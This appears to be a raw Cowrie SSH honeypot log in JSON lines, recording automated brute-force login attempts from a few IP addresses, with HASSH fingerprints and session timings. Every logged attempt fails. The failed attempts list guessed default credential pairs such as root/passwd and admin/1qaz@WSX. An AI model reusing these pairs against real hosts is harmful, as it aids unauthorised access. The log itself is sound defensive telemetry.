{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60444,"dst_ip":"159.203.135.109","dst_port":22,"session":"947e55447ec8","protocol":"ssh","message":"New connection: 192.109.200.237:60444 (159.203.135.109:22) [session: 947e55447ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:44.728020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:44.732846Z","src_ip":"192.109.200.237","session":"947e55447ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:44.815005Z","src_ip":"192.109.200.237","session":"947e55447ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:45.061592Z","src_ip":"192.109.200.237","session":"947e55447ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:46.147768Z","src_ip":"192.109.200.237","session":"947e55447ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60456,"dst_ip":"159.203.135.109","dst_port":22,"session":"c364f848b6e3","protocol":"ssh","message":"New connection: 192.109.200.237:60456 (159.203.135.109:22) [session: c364f848b6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:48.021908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:48.088419Z","src_ip":"192.109.200.237","session":"c364f848b6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:48.170683Z","src_ip":"192.109.200.237","session":"c364f848b6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:48.546736Z","src_ip":"192.109.200.237","session":"c364f848b6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:49.631921Z","src_ip":"192.109.200.237","session":"c364f848b6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44638,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b4d2a10c6ed","protocol":"ssh","message":"New connection: 192.109.200.237:44638 (159.203.135.109:22) [session: 8b4d2a10c6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:51.449888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:51.454509Z","src_ip":"192.109.200.237","session":"8b4d2a10c6ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:51.537113Z","src_ip":"192.109.200.237","session":"8b4d2a10c6ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:51.782382Z","src_ip":"192.109.200.237","session":"8b4d2a10c6ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:52.867857Z","src_ip":"192.109.200.237","session":"8b4d2a10c6ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":48688,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e8ae636fdea","protocol":"ssh","message":"New connection: 103.98.149.87:48688 (159.203.135.109:22) [session: 4e8ae636fdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:54.364706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:54.369467Z","src_ip":"103.98.149.87","session":"4e8ae636fdea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:54.598473Z","src_ip":"103.98.149.87","session":"4e8ae636fdea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:54.722629Z","src_ip":"46.19.67.181","session":"744577fa4051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44650,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5f39f6600db","protocol":"ssh","message":"New connection: 192.109.200.237:44650 (159.203.135.109:22) [session: f5f39f6600db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:54.731841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:54.737373Z","src_ip":"192.109.200.237","session":"f5f39f6600db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:54.821193Z","src_ip":"192.109.200.237","session":"f5f39f6600db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:55.074062Z","src_ip":"192.109.200.237","session":"f5f39f6600db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"businka","message":"login attempt [root/businka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:55.284094Z","src_ip":"103.98.149.87","session":"4e8ae636fdea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:56.160751Z","src_ip":"192.109.200.237","session":"f5f39f6600db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:56.512292Z","src_ip":"103.98.149.87","session":"4e8ae636fdea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44654,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a5cb6b25839","protocol":"ssh","message":"New connection: 192.109.200.237:44654 (159.203.135.109:22) [session: 4a5cb6b25839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:58.024528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:58.029091Z","src_ip":"192.109.200.237","session":"4a5cb6b25839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:58.111138Z","src_ip":"192.109.200.237","session":"4a5cb6b25839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:58.357576Z","src_ip":"192.109.200.237","session":"4a5cb6b25839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:59.441496Z","src_ip":"192.109.200.237","session":"4a5cb6b25839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":53144,"dst_ip":"159.203.135.109","dst_port":22,"session":"09115a31e1a7","protocol":"ssh","message":"New connection: 103.173.227.57:53144 (159.203.135.109:22) [session: 09115a31e1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:00.472081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:00.477419Z","src_ip":"103.173.227.57","session":"09115a31e1a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:00.721827Z","src_ip":"103.173.227.57","session":"09115a31e1a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58256,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bad54072f7b","protocol":"ssh","message":"New connection: 192.109.200.237:58256 (159.203.135.109:22) [session: 6bad54072f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:01.349189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:01.356083Z","src_ip":"192.109.200.237","session":"6bad54072f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"falcon","message":"login attempt [root/falcon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:01.456230Z","src_ip":"103.173.227.57","session":"09115a31e1a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:01.513273Z","src_ip":"192.109.200.237","session":"6bad54072f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:01.885634Z","src_ip":"192.109.200.237","session":"6bad54072f7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:02.705688Z","src_ip":"103.173.227.57","session":"09115a31e1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:02.970969Z","src_ip":"192.109.200.237","session":"6bad54072f7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58270,"dst_ip":"159.203.135.109","dst_port":22,"session":"cde2f219d2c0","protocol":"ssh","message":"New connection: 192.109.200.237:58270 (159.203.135.109:22) [session: cde2f219d2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:04.964434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:04.969956Z","src_ip":"192.109.200.237","session":"cde2f219d2c0","protocol":"ssh"}
